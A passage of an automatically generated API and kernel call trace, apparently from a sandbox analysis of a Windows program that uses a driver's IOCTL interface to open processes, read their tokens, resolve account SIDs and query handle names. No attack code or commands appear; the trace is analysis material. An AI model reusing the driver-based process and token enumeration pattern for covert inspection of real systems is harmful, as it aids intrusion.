hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.749] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020a3b30, HandleInformation=0x0) returned 0x0 [0072.749] ObOpenObjectByPointer (in: Object=0xfffffa80020a3b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.749] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x12 [0072.749] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.749] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.749] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.749] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.749] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.751] CloseHandle (hObject=0xc8) returned 1 [0072.751] CloseHandle (hObject=0xc0) returned 1 [0072.751] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.751] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.751] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.751] PsAcquireProcessExitSynchronization () returned 0x0 [0072.751] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880054f85d0) [0072.751] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020a2f20, HandleInformation=0x0) returned 0x0 [0072.751] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.751] PsReleaseProcessExitSynchronization () returned 0x2 [0072.751] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0072.751] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a1b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.751] ObfDereferenceObject (Object=0xfffffa80020a2f20) returned 0x1 [0072.751] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.751] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.751] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.751] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0072.751] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.751] PsAcquireProcessExitSynchronization () returned 0x0 [0072.751] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880054f85d0) [0072.751] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020a5430, HandleInformation=0x0) returned 0x0 [0072.751] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.751] PsReleaseProcessExitSynchronization () returned 0x2 [0072.751] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0072.751] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a1c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.751] ObfDereferenceObject (Object=0xfffffa80020a5430) returned 0x1 [0072.751] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.751] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.751] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.751] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.752] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.752] PsAcquireProcessExitSynchronization () returned 0x0 [0072.752] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880054f85d0) [0072.752] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.752] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.752] PsReleaseProcessExitSynchronization () returned 0x2 [0072.752] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0072.752] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a1d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a1d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.752] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.752] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.752] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.752] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x82c) returned 0xc0 [0072.752] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.752] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020af800, HandleInformation=0x0) returned 0x0 [0072.752] ObOpenObjectByPointer (in: Object=0xfffffa80020af800, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.752] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x12 [0072.752] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.752] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.752] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.752] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.752] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.754] CloseHandle (hObject=0xc8) returned 1 [0072.754] CloseHandle (hObject=0xc0) returned 1 [0072.754] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.754] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.754] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.754] PsAcquireProcessExitSynchronization () returned 0x0 [0072.754] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880054f85d0) [0072.754] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020aff20, HandleInformation=0x0) returned 0x0 [0072.754] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.754] PsReleaseProcessExitSynchronization () returned 0x2 [0072.754] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0072.754] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.754] ObfDereferenceObject (Object=0xfffffa80020aff20) returned 0x1 [0072.754] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.754] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.754] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.754] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0072.754] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.754] PsAcquireProcessExitSynchronization () returned 0x0 [0072.754] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880054f85d0) [0072.754] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020b1490, HandleInformation=0x0) returned 0x0 [0072.754] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.754] PsReleaseProcessExitSynchronization () returned 0x2 [0072.754] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0072.754] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a20044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a20044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.754] ObfDereferenceObject (Object=0xfffffa80020b1490) returned 0x1 [0072.755] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.755] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.755] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.755] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.755] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.755] PsAcquireProcessExitSynchronization () returned 0x0 [0072.755] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880054f85d0) [0072.755] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.755] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.755] PsReleaseProcessExitSynchronization () returned 0x2 [0072.755] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0072.755] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a21044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a21044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.755] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.755] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.755] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.755] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x83c) returned 0xc0 [0072.755] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.755] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020bb800, HandleInformation=0x0) returned 0x0 [0072.755] ObOpenObjectByPointer (in: Object=0xfffffa80020bb800, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.755] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x12 [0072.755] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.755] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.755] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.755] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.755] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.757] CloseHandle (hObject=0xc8) returned 1 [0072.757] CloseHandle (hObject=0xc0) returned 1 [0072.757] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.757] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.757] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.757] PsAcquireProcessExitSynchronization () returned 0x0 [0072.757] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880054f85d0) [0072.757] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020bbf20, HandleInformation=0x0) returned 0x0 [0072.757] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.757] PsReleaseProcessExitSynchronization () returned 0x2 [0072.757] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0072.757] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a22044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a22044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.757] ObfDereferenceObject (Object=0xfffffa80020bbf20) returned 0x1 [0072.757] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.757] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.757] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.757] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0072.757] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.757] PsAcquireProcessExitSynchronization () returned 0x0 [0072.757] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880054f85d0) [0072.757] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020bd4a0, HandleInformation=0x0) returned 0x0 [0072.757] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.758] PsReleaseProcessExitSynchronization () returned 0x2 [0072.758] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0072.758] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a23044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a23044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.758] ObfDereferenceObject (Object=0xfffffa80020bd4a0) returned 0x1 [0072.758] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.758] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.758] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.758] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.758] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.758] PsAcquireProcessExitSynchronization () returned 0x0 [0072.758] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880054f85d0) [0072.758] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.758] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.758] PsReleaseProcessExitSynchronization () returned 0x2 [0072.758] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0072.758] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a24044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a24044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.758] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.758] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.758] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.758] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x84c) returned 0xc0 [0072.758] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.758] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020c76e0, HandleInformation=0x0) returned 0x0 [0072.758] ObOpenObjectByPointer (in: Object=0xfffffa80020c76e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.758] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x12 [0072.758] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.758] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.758] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.758] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.758] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.760] CloseHandle (hObject=0xc8) returned 1 [0072.760] CloseHandle (hObject=0xc0) returned 1 [0072.760] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.760] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.760] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.760] PsAcquireProcessExitSynchronization () returned 0x0 [0072.760] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880054f85d0) [0072.760] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020c7e90, HandleInformation=0x0) returned 0x0 [0072.760] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.760] PsReleaseProcessExitSynchronization () returned 0x2 [0072.760] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0072.760] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a25044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a25044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.760] ObfDereferenceObject (Object=0xfffffa80020c7e90) returned 0x1 [0072.760] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.760] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.760] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.760] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0072.760] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff880054f8558 | out: 